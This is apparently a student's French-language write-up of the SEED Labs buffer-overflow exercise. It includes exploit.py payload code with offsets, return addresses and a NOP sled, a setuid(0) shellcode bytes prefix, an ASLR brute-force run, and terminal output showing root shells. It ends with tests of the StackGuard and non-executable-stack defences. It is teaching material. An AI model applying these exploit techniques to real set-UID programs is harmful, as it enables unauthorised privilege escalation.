Buffer Overflow Attack Lab (Set-UID Version)

Ivan KRIVOKUCA (22306432)

26 janvier 2025

Table des matières

Task 1 : Getting Familiar with Shellcode

```
[01/23/25]seed@VM:~/.../shellcode$ gcc -z execstack -o a64.out call_shellcode.c
[1]-  Done                    gedit call_shellcode.c
[2]+  Done                    gedit call_shellcode.c
[01/23/25]seed@VM:~/.../shellcode$ ./a64.out
$ whoami
seed
$ exit
[01/23/25]seed@VM:~/.../shellcode$
```

Figure – Exécution du Shellcode

Task 2 : Understanding the Vulnerable Program

- La fonction *bof()* crée un buffer local de taille *BUF_SIZE* (défini à 100 dans le code)
- Le programme lit jusqu'à 517 octets depuis un fichier *badfile*
- Ces données sont copiées sans vérification dans le buffer de 100 octets via *strcpy()*

Problème

Cette différence de taille (517 vs 100) crée la vulnérabilité du buffer overflow

Task 3 : Launching Attack on 32-bit Program

```
gdb-peda$ p $ebp
$1 = (void *) 0xffffcb48
```

```
gdb-peda$ p &buffer
$3 = (char (*)[100]) 0xffffcadc
```

Figure – Analyse de la pile avec GDB sur *stack-L1-dbg*

- **Adresse du buffer** : `0xffffdfac` (début de la zone vulnérable)
- **EBP (base pointer)** : `0xffffdfd8` (pointeur de frame)

Construction du payload dans exploit.py

Offset = 112

- Différence EBP - Buffer : 0x6C (108 octets)
- Offset de l'adresse de retour : 108 + 4 = **112 octets** → permet d'écraser précisément l'adresse de retour

Start = 400 : Position du shellcode

- Placé après une longue séquence de NOPs (pour augmenter la fiabilité)

Ret = adresse_buffer + 200 : Point d'entrée dans le **NOP sled**

- Les instructions NOP (0x90) font "glisser" l'exécution vers le shellcode, même si l'adresse ciblée est légèrement inexacte.

```
#################################################################
# Put the shellcode somewhere in the payload
start = 400               # Change this number
content[start:start + len(shellcode)] = shellcode

# Decide the return address value
# and put it somewhere in the payload
ret   = 0xffffcb48 + 200          # Change this number
offset = 112              # Change this number

L = 4     # Use 4 for 32-bit address and 8 for 64-bit address
content[offset:offset + L] = (ret).to_bytes(L,byteorder='little')
#################################################################
```

Exploit.py

```
[01/23/25]seed@VM:~/.../code$ ./exploit.py
[01/23/25]seed@VM:~/.../code$ ./stack-L1
Input size: 517
#
# whoami
root
# id
uid=1000(seed) gid=1000(seed) euid=0(root) groups=1000(seed),4(adm),24(cdrom),27
(sudo),30(dip),46(plugdev),120(lpadmin),131(lxd),132(sambashare),136(docker)
```

Succès !

Task 4 : Launching Attack without Knowing Buffer Size

Contrainte principale : Buffer size entre 100 et 200 bytes

Solution implémentée

- **Positionnement du shellcode** : À la fin du payload (517 - taille shellcode)
- **Stratégie "d'écrasement"** :
  - Écriture multiple de l'adresse de retour
  - Test les offsets par pas de 4 → Couvre toutes les positions possibles du frame pointer
- **Adresse de retour** : buffer + 200 (zone NOP sled)

```python
# Put the shellcode somewhere in the payload
start = 517 - len(shellcode)
content[start:start + len(shellcode)] = shellcode

# Decide the return address value
# and put it somewhere in the payload
ret = 0xffffcb08+200           # Change this number


L = 4     # Use 4 for 32-bit address and 8 for 64-bit address
for offset in range(100, 204, 4):
    content[offset:offset + 4] = (ret).to_bytes(L, byteorder='little')
```

Exploit.py

```
[01/25/25]seed@VM:~/.../code$ ./exploit2.py
[01/25/25]seed@VM:~/.../code$ ./stack-L2
Input size: 517
$ id
uid=1000(seed) gid=1000(seed) groups=1000(seed),4(adm),24(cdrom),27(sudo),30(dip
),46(plugdev),120(lpadmin),131(lxd),132(sambashare),136(docker)
$
```

Succès !

Task 5 : Launching Attack on 64-bit Program

Contraintes spécifiques 64-bit

- **Registres** : `rbp` (au lieu de `ebp`), `rsp`
- **Adressage** : 8 bytes pour les adresses et limités : 0x00 à 0x00007FFFFFFFFFFF
- Problème avec *strcpy()* qui s'arrête au premier octet nul

Adaptations nécessaires

- Modification de la taille des adresses (L = 8)
- Utilisation du shellcode 64-bit
- Stratégie de positionnement adaptée pour éviter les octets nuls –> mettre le shellcode au début (start = 0)
- Offset = rbp - &buffer + 8 (Return Address 64bits) = 208 + 8 = 216 bytes.

```
gdb-peda$ p $ebp
$1 = 0xffffd990
gdb-peda$ p &buffer
$2 = (char (*)[200]) 0x7fffffffd8c0
gdb-peda$ p $rbp
$3 = (void *) 0x7fffffffd990
```

Task 6 : Launching Attack on 64-bit Program

- Taille du buffer extrêmement limitée (10 octets) → impossible de stocker shellcode/NOPs
- Nécessité d'optimiser le positionnement du shellcode

Solution

- Placer le shellcode **après** l'adresse de retour.
- Utiliser un seul saut vers le shellcode.

```
gdb-peda$ p str
$2 = 0x7fffffffdd60 "\220\220\220\220\220\220\220\220\220\220\060\331\377\377\37
7\177"
gdb-peda$ p $rbp
$3 = (void *) 0x7fffffffd930
gdb-peda$ p &buffer
$4 = (char (*)[10]) 0x7fffffffd926
```

Figure – Analyse de la pile avec GDB

Task 6 : Launching Attack on 64-bit Program

```
#################################################################
# Put the shellcode somewhere in the payload
start = 517 - len(shellcode)            # Change this number
content[start:start + len(shellcode)] = shellcode

# Decide the return address value
# and put it somewhere in the payload
ret = 0x7fffffffdd60 + 200
offset = 18

L = 8     # Use 4 for 32-bit address and 8 for 64-bit address
content[offset:offset + L] = (ret).to_bytes(L, byteorder='little')
#################################################################
```

Exploit.py

```
[01/25/25]seed@VM:~/.../code$ ./exploit4.py
[01/25/25]seed@VM:~/.../code$ ./stack-L4
Input size: 517
# id
uid=1000(seed) gid=1000(seed) euid=0(root) groups=1000(seed),4(adm),24(cdrom),27
(sudo),30(dip),46(plugdev),120(lpadmin),131(lxd),132(sambashare),136(docker)
```

Succès !

Task 7 : Defeating dash's Countermeasure

Mécanisme de protection

- *dash* vérifie l'égalité entre UID effectif et réel
- **Conséquence** : Abandon des privilèges (retour à l'UID réel).

Stratégie de contournement → Ajout d'un appel à setuid(0) avant execve() : \x31\xdb\x31\xc0\xb0\xd5\xcd\x80

```
[01/25/25]seed@VM:~/.../code$ ./exploit6.py && ./stack-L1
Input size: 517
# id
uid=0(root) gid=1000(seed) groups=1000(seed),4(adm),24(cdrom),27(sudo),30(dip),4
6(plugdev),120(lpadmin),131(lxd),132(sambashare),136(docker)
# 
```

Figure – Shell root

Task 8 : Defeating Address Randomization

Contexte

- ASLR activé : kernel.randomize_va_space=2
- Entropie limitée sur 32-bit : 2^{19} possibilités
- Stack : Adresse de base aléatoire à chaque exécution.

Approche par **brute force**

```
The program has been running 30724 times so far.
Input size: 517
./exploit7.sh: line 12: 33476 Segmentation fault      ./stack-L1
0 minutes and 20 seconds elapsed.
The program has been running 30725 times so far.
Input size: 517
#
```

Limitations

Impossible en 64bits (entropie de 28+ bits).

Task 9.a : Turn on the StackGuard Protection

Fonctionnement de StackGuard (activé par défaut dans gcc > 4.3.3)

- Ajout une valeur ("canari") : Valeur aléatoire placée entre le buffer et l'adresse de retour.
- Avant de quitter la fonction, le programme vérifie si le canari a été altéré (si oui, crash).

Compilation :
gcc -DBUF_SIZE=100 -z execstack -m32 -o stack-L1 stack.c
sudo chown root stack-L1 && sudo chmod 4755 stack-L1

```
[01/25/25]seed@VM:~/.../code$ ./stack-L1
Input size: 517
*** stack smashing detected ***: terminated
Aborted
```

- Détection de la corruption de la pile
- Terminaison du programme en cas de modification
- Efficacité contre les buffer overflows classiques

Task 9.b : Turn on the Non-executable Stack Protection

Protection Pile Non-Exécutable (NX)

- **NX Bit** : Le noyau interdit l'exécution de code sur la pile via un bit "No-Execute".
- Compilation sans -z execstack pour marquer la pile comme non-exécutable.

```
[01/25/25]seed@VM:~/.../shellcode$ gcc -z execstack -o a64.out call_shellcode.
[01/25/25]seed@VM:~/.../shellcode$ ./a64.out
$ id
uid=1000(seed) gid=1000(seed) groups=1000(seed),4(adm),24(cdrom),27(sudo),30(d
),46(plugdev),120(lpadmin),131(lxd),132(sambashare),136(docker)
$ exit
[01/25/25]seed@VM:~/.../shellcode$ gcc -o a64.out call_shellcode.c
[01/25/25]seed@VM:~/.../shellcode$ ./a64.out
Segmentation fault
[01/25/25]seed@VM:~/.../shellcode$ gcc -m32 -z execstack -o a32.out call_shell
de.c
[01/25/25]seed@VM:~/.../shellcode$ ./a32.out
$ id
uid=1000(seed) gid=1000(seed) groups=1000(seed),4(adm),24(cdrom),27(sudo),30(d
),46(plugdev),120(lpadmin),131(lxd),132(sambashare),136(docker)
$ exit
[01/25/25]seed@VM:~/.../shellcode$ gcc -m32 -o a32.out call_shellcode.c
[01/25/25]seed@VM:~/.../shellcode$ ./a32.out
Segmentation fault
```